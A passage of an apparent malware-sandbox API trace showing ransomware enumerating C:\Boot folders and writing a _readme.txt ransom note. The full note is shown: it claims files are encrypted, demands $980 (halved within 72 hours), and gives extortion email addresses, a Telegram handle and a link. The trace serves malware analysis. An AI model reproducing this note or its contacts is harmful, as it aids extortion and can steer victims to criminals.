(HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.460] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.460] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.460] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.460] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.460] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0116.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.460] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.460] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.460] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.460] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.460] PathFindFileNameW (pszPath="") returned="" [0116.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.460] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.460] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.460] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.461] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.461] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.461] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.461] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dc2a8 [0116.461] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0116.461] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.461] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0116.461] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.461] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.461] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.461] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.461] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.462] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.462] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.462] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.462] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.462] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.462] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.463] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.463] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.464] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.464] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.465] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.465] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.465] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.465] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.465] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.465] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.465] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.465] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.465] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.466] RtlAllocateHeap 